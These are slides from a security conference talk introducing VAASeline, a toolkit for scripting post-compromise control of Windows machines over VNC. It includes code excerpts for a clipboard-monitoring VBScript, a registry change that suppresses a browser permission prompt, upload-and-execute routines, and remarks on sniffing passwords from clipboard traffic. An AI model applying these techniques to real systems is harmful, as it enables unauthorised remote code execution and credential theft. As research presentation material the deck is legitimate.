VAASeline: VNC Attack Automation Suite

'Lucrinating blind entry'

Rich Smith
rich@immunityinc.com
Agenda

- VNC and it's underlying protocol RFB
- Why attack automation is needed
- Why RFB is hard to automate
- The VAASeline technique (RPC over RFB)
- The VAASeline toolkit (Python module)
- Live demo of VAASeline lubricated entry
Post-Compromise not just Exploitation

- Exploits are important ....
- ...but so is what you do afterwards!
- Post-compromise actions key for:
  - Further recon
  - Attack escalation
  - Realisation of final goal
Recon

Attack

Recon

Post-Attack Actions

Post-Attack Actions

Attack

Goal

Scope
VNC & RFB
100% Pure Petroleum Jelly
Net Wt. 13 oz. (368g)
Heals Dryness
The Original
VNC & RFB

- Virtual Network Computing (VNC)
- Remote FrameBuffer protocol (RFB)
- VNC is built on top of the RFB protocol
- Created by Olivetti Research/AT&T Labs in the late 1990's
VNC & RFB...Cont'd

- TCP port 5900, 5901, ....
- Currently RFB protocol at version 3.8
- Open protocol standard
- RealVNC maintains list of encoding and security type numbers separately
- Allows for proprietary extensions
RFB conceptually replaces the input connections from a mouse & keyboard, and the output connection to a monitor with network packets.

You send input packets to a server of KeyEvents or PointerEvents.

The server returns FramebufferUpdate packets.
Simplified keypress VNC flow

1. Keystroke

VNC Client

2. KeyEvent

VNC Server

3. Pass to window manager

4. FrameBufferUpdate

5. User sees screen update
VNC in your network

- People find it very useful!
- Found frequently across real networks
- May be part of *Shadow IT*, may not be well managed
- Frequently password authentication....
- .... often easy to access
Questions

• Once you have access, how to best use a VNC system in your attack workflow?
• What about 1000 VNC systems?
Attack Automation
The need for automation?

- **Return On Investment** (ROI)
- **Total Cost of Ownership** (TCO)

Currently VNC Post-Compromise requires an attacker to use a VNC client
- Reduces ROI
- Increases TCO

'Too expensive' to use as a general vector
The need for automation?

- Requiring a human in the loop is slow, expensive & does not scale

- Goal:
  - Reduce cost of attack to price of bandwidth

- Answering even simple questions such as:
  "What are the privileges of users with VNC servers with blank passwords?"

Quickly become infeasible with many servers
Shouldn't This Be Easy?
Shouldn't this be easy?

- That's what I thought....
- ...devil is in the details of RFB
- A subtler problem than it may initially seem
RFB is a blackbox

- RFB v3.8 is a very simple protocol
- Well suited to its original task
- Only real complexities lie in FrameBuffer encodings
- Inputs and Outputs channels are discrete
- The protocol requires the human to close the data processing loop
User closes the protocol loop, by interpreting the visual update.

Input: Keystroke/Mouse

User

Visual Change

VNC Client

VNC Server

RFB Input Event

RFB Output Event
RFB is a blackbox

- The results of any user input over RFB only result as a visual screen update
- No return code or 'results' from an action that resulted from given input
- Removing the user removes FrameBuffer interpretation – it blinds the automator
- Like using Windows without a monitor!
Problem Statement

• Given access to a VNC system:
• How can you execute arbitrary code such that:
  - A user is not required in the loop
  - An automated system is able to statefully determine the results of its actions
Solution Criteria

- Only use standard RFB v 3.8
- Be able to execute arbitrary code
- Reliable over high latency links
- A toolkit that is re-taskable to an attackers requirements
- Initially just target Win32 platforms
VAASeline Technique
VAASeline technique

- To explain how the technique used was developed, we'll go from first principles
- Firstly, lets look at some RFB protocol units
VAASeline Technique

- RFB protocol messages can be divided into 3 groups for attack automation purposes:

<table>
<thead>
<tr>
<th>Grouping for our purposes</th>
<th>RFB Protocol message types</th>
</tr>
</thead>
<tbody>
<tr>
<td>Initialisation &amp; Authentication</td>
<td>ProtocolVersion, Security(all), ClientInit, ServerInit, SetPixelFormat, SetEncodings, SetColourMapEntries, FramebufferUpdateRequest, FramebufferUpdate</td>
</tr>
<tr>
<td>Input</td>
<td>KeyEvent, PointerEvent, ClientCutText,</td>
</tr>
<tr>
<td>Output</td>
<td>ServerCutText, Bell</td>
</tr>
</tbody>
</table>
# RFB Input Packets

- **KeyEvent & PointerEvent protocol messages**

## KeyEvent

<table>
<thead>
<tr>
<th>Type</th>
<th>Down Flag</th>
<th>Pad</th>
<th>Key sym</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x04 (1 byte)</td>
<td>1 byte</td>
<td>2 bytes</td>
<td>4 bytes</td>
</tr>
</tbody>
</table>

## PointerEvent

<table>
<thead>
<tr>
<th>Type</th>
<th>Button Mask</th>
<th>X-pos</th>
<th>Y-pos</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x04 (1 byte)</td>
<td>1 byte</td>
<td>2 bytes</td>
<td>2 bytes</td>
</tr>
</tbody>
</table>
Simple execution

- Mouse emulation hard as knowledge of screen layout/resolution etc is needed
- Easy to emulate key sequences, however
- Windows Hot-Key sequences can therefore be sent
  - e.g. Windows Key + R: Opens 'run command'
  - Focus is then in that window so arbitrary command can be run
Simple execution

- Packet sequence to execute calc.exe:

<table>
<thead>
<tr>
<th>RFB Packet sequence</th>
<th>Action it performs</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt;Windows Key Down&gt; + &lt;R Key Down&gt; + &lt;R Key Up&gt; +</td>
<td>Opens the 'Run command' window</td>
</tr>
<tr>
<td>&lt;Windows Key Up&gt;</td>
<td></td>
</tr>
<tr>
<td>&lt;C Key Down&gt; + &lt;C Key Up&gt; + &lt;A Key Down&gt; + &lt;A Key Up&gt; +</td>
<td>'calc.exe' followed by Enter</td>
</tr>
<tr>
<td>&lt;L Key Down&gt; + &lt;L Key Up&gt; + &lt;C Key Down&gt; + &lt;C Key</td>
<td></td>
</tr>
<tr>
<td>Up&gt; +&lt;Period Key Down&gt; + &lt;Period Key Up&gt; +&lt;E Key Down&gt;</td>
<td></td>
</tr>
<tr>
<td>+&lt;E Key Up&gt; +&lt;X Key Down&gt; +&lt;X Key Up&gt; +&lt;E Key Down&gt; +</td>
<td></td>
</tr>
<tr>
<td>&lt;Enter Key Down&gt; +&lt;Enter Key Up&gt; +&lt;Enter Key Down&gt; +</td>
<td></td>
</tr>
<tr>
<td>&lt;Enter Key Up&gt;</td>
<td></td>
</tr>
</tbody>
</table>

- Execution indeed! But not that useful....
- Could call ftp or tftp for file up/download..
- ..but doesn't use RFB – if we attack using protocol X, we want to use protocol X afterward
More complex actions

- Single command execution is of only limited use
- More complex actions can be scripted on Win32 platforms using VBScript and cscript.exe
- However only short keystroke sequences can be delivered using KeyEvent packets
- RFB is meant to deal with users typing at human speed not machine speed
- Keystrokes go MIA without notification
ClientCutText & ServerCutText

- To be able to pass longer keystroke sequences a new method is needed
- ClientCutText & ServerCutText packets provide us with a mechanism
- These packets allow the clipboard buffers to be shared between client and server for copy/paste

Client/ServerCutText

<table>
<thead>
<tr>
<th>Type</th>
<th>Pad</th>
<th>Len</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x03</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>0x06</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
An aside....

- This also means that during a VNC connection clipboard contents is sent over the wire:
  - By both server & client
  - In the clear
  - Everytime new buffer is updated
  - Useful with people who use password managers & copy/paste on websites :)
  - passive_cb_sniff.py for simple example
Scripting

• With a combination of KeyEvents and ClientCutText packets we can dump arbitrary amounts of data to a target without loss

• Send a ClientCutText packet with our data in, then Ctrl-V to 'paste' it

• Dump and run VBScripts on target via notepad and then use cscript.exe to invoke them

• Ctrl-A + Ctrl-V also lets us check the whole buffer was sent correctly
  - Error detection and retry
Problems with blind execution

- Both methods discussed are still blind
  - No way to stdout/results back
  - No way to know if commands have failed
  - Uploading binaries via ClientCutText + notepad + vbs unencoder is unreliable
A matter of context

- An advantage of the Client/ServerCutText packets is that they operate at the layer below the window manager.
- Thus they do not depend on the current context of the window manager.
- Just need to send a ClientCutText packet to the server and it deals with updating the clipboard.
- Any new text on the server's clipboard solicits a new ServerCutText packet to the client.
Guerilla RPC
Guerilla RPC

- Using Client/ServerCutText we have a crude shared I/O channel using pure RFB
- Client sends in command/data via ClientCutText
- Server returns status/output via ServerCutText
- Writing a special VNC client to send special ClientCutText packets is easy
- However the server is not in our control to alter its behaviour
Guerilla RPC

- Basic idea:
  - Upload a VBScript to the server that monitors the clipboard (cb_mon)
  - Send crafted ClientCutText packet
  - cb_mon picks up special packets & takes an actions based on their content
  - cb_mon places the results of the action on the clipboard
  - VNC server send the results back as a ServerCutText packet
**Guerilla RPC**

**Client**

**Setup:**

1. KeyEvent packets to open 'Run Command' Window
2. ClientCutText packets to echo vbscript
3. KeyEvent packets to open 'Run Command' Window
4. ClientCutText packets to run vbscript

**Execution:**

1. ClientCutText packet containing command
2. ServerCutText packet containing response
3. Continuing for arbitrary number of iterations
VAASeline protocol

- For this to work, we need a pure ASCII protocol
- Avoid 0x00 (string terminator)
- Differentiate commands for *normal* data
- Use low value ASCII for Magic bytes

<table>
<thead>
<tr>
<th>VAASeline protocol</th>
<th>0x01,0x03,0x01,0x03 (4 bytes)</th>
<th>(1 byte)</th>
<th>(1 byte)</th>
<th>(Variable length)</th>
<th>0x0B (1 byte)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Magic</td>
<td>Seq ID</td>
<td>Opcode</td>
<td>Data/Operands</td>
<td>EOD</td>
<td></td>
</tr>
</tbody>
</table>

Operands are separated by more magic:
0x02,0x02,0x03,0x03 & 0x03,0x03,0x02,0x02
cb_mon.vbs script

- Need a way to let VBScript access the clipboard
- No simple native method, however we can do this with a little help from IE

```vbscript
'An IE object which will give access to the clipboard
Wscript.StdOut.WriteLine("Creating clipboard object")
Set objIE = CreateObject("InternetExplorer.Application")
objIE.Navigate("about:blank")

do while sitInLoop
  'Get contents of clipboard
  curr_buff=objIE.document.parentwindow.clipboardData.GetData("Text")

  If curr_buff <> prev_buff Then
    Wscript.StdOut.Write("Got new clipboard contents: ")
    Wscript.StdOut.WriteLine(curr_buff)
    Wscript.sleep 1000
  loop
objIE.Quit
```
IE 7

- IE 7 changed the default access policy of the clipboard – pops a user box asking permission

![User box asking for permission to access clipboard]

- To avoid set the Internet Zone registry key
  Allow Programmatic clipboard access to 0
  "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1407"
VAASeline protocol

- Once the initial bootstrapping is done via KeyEvent+Paste+Cscript then we are in a more 'normal' network state:
  - Network speed not human speed
  - Response & output returned
  - Error detection and retry
  - Easy to upload encoded binary

- Once RPC/RFB is operational, the capabilities are down to the VBScript you use
VAASeline Attack Flow

- Get credentials
- Start VAASeline
- VAASeline wraps stdin/stdout
- Authenticate to VNC
- Upload/execute binary
- Progress attack (Create a MOSDEF node etc)
VAASeline
In Action
VAASeline toolkit

- The VAASeline technique has been coded into a Python module* (LGPL)
- Allows it to be easily incorporated into existing attack toolkits (e.g. CANVAS)
- Use RPC/RFB as a transparent transport
- Or use it to bootstrap to a point where you can drop a trojan/callback etc.

*Download from: http://www.immunityinc.com/resources-freesoftware.shtml
VAASeline toolkit

• Basic components:
  – VAASeline.py: Core VAASeline methods
  – rpc.py: Core RFB protocol support
    From the great vnc2swf project*
  – cb_mon.vbs: Server side functionality
  – ApplyVAASeline.py: Client support lib for cb_mon.vbs
  – vaaseline-demo.py: example demo script

*Download from: http://www.unixuser.org/~euske/vnc2swf/pyvnc2swf-0.6.4.tar.gz
VAASeline toolkit

- The example cb_mon.vbs responds to the following opcodes:

<table>
<thead>
<tr>
<th>OpCode</th>
<th>Operation</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Echo</td>
</tr>
<tr>
<td>2</td>
<td>Run command</td>
</tr>
<tr>
<td>3</td>
<td>Exec VBS</td>
</tr>
<tr>
<td>4</td>
<td>Upload binary</td>
</tr>
<tr>
<td>5</td>
<td>Get environment variable</td>
</tr>
<tr>
<td>6</td>
<td>Delete file</td>
</tr>
<tr>
<td>7</td>
<td>Sniff Clipboard</td>
</tr>
<tr>
<td>9</td>
<td>Quit and self delete</td>
</tr>
</tbody>
</table>
VAASeline toolkit

- ApplyVAASeline.py simplifies the communication with cb_mon.py
- Specific to the opcodes cb_mon supports
- e.g. Upload and execute binary

```python
def upload_and_execute(self, l_exe, t_exe):
    
    # Upload local executable l_exe to the target and executes it
    self.temp_env = self.get_env_var("TEMP")
    self.upload_exe(l_exe, "%s\%s"%(self.temp_env, t_exe))
    self.run_exe("%s\%s"%(self.temp_env, t_exe))
```
VAASeline toolkit

- Calls other ApplyVAASeline methods e.g.

```python
upload_exe:
    def upload_exe(self, exe_path, exe_name):
        # Upload a file

        Run opcode = 4
        Command    = hex encoded binary
        Arg        = path to unhex executable to on the target

        hex_exe=self._hex_encode(exe_path)

        if hex_exe:
            ret = self.send_pdu(ord("4"), hex_exe.getvalue(), exe_name)
            hex_exe.close()
            return ret
        else:
            return None
```
VAASeline toolkit

- Which calls the VAASeline primitive: `send_pdu`

```python
def send_pdu(self, opcode, data, args=None):
    """Send out a PDU appropriately formatted""
    ##Construct a formatted PDU
    buffer=self.create_pdu(opcode, data, args)

    ##Make the client cut buffer pkt
    rfb_cut_pkt=self.construct_client_cut_text(buffer)
    ##Add to dispatch q
    self.send_q.put(rfb_cut_pkt)

    ##Now wait for the return code/status
    while 1:
        ret=self.mark_q.get()

        ##And parse it
        status=self.parse_pdu(ret)
        self.mark_q.task_done()

    if status:
        break
    return status[:-1]
```

- Which calls other primitives: `create_pdu` etc...
VAASeline toolkit

- Which calls the VAASeline primitive create_pdu

def create_pdu(self, opcode, data, args=None):
    """
    [ Magic | SeqID | OpCode | data/operands ..... | End of data marker]
    """
    buffer=[]
    # Tag so as we know what on the clipboard is for us and what is just normal text - 4 bytes
    for m in self.magic:
        buffer.append( m )
    # PDU ID so we can ack/order it etc - 1 byte
    if self.pdu_id == 0:
        self.pdu_id+=1
        self.pdu_id=self.pdu_id%256
    buffer.append( struct.pack("B", self.pdu_id) )
    self.pdu_id+=1
    self.pdu_id=self.pdu_id%256
    # Opcode - 1 byte
    buffer.append( struct.pack("B", opcode) )
    # If we have args add em here
    if args:
        for m in self.arg_start:
            buffer.append( m )
        for char in args:
            buffer.append( struct.pack('B', ord(char) ) )
        for m in self.arg_end:
            buffer.append( m )
    # Now the data - ?? bytes
    for char in data:
        buffer.append( struct.pack('B', ord(char) ) )
    # End of data marker - 1 byte
    buffer.append( self.eod )
    return buffer

Etc etc .......
VAASeline toolkit

• The point being VAASeline.py means you only have to worry about deciding what post-compromise to take not how to construct the RPC/RFB packets etc

• Release comes with example the cb_mon.vbs and vaaseline_demo.py

• But can be extended to do pretty much whatever you want.........
Demo!
Future

- Non Win32 VNC systems
  - OS X – hot keys + ActionScript
  - *NIX more difficult – lots of desktop environments, need to 'fingerprint' them
- Self assembling VBScript, no need for notepad
- Other remote display protocols.....
What is VAASeline good for?

- VAASeline is not a exploit
- VAASeline is a technique & a toolkit:
  - Allows an attacker to script arbitrary actions against a VNC system
  - Implements Remote Procedure Calls (RPC) over the Remote FrameBuffer (RFB) protocol
  - Reduces the cost of the attack vector to the price of bandwidth
Conclusions

- Exploitation is not the whole story...
- ...Post-Comprise actions are key in real attacks
- Return On Investment is important for attacks to be able to scale – reduce to bandwidth cost
- The VAASeline technique shows how to implement a form of RPC over RFB
- The VAASeline toolkit allows you to easily use this technique in a handy Python module
- Easy to use in your own projects
Cheers for your time!

Questions?

Get your VAASeline at:
http://www.immunityinc.com/resources-freesoftware.shtml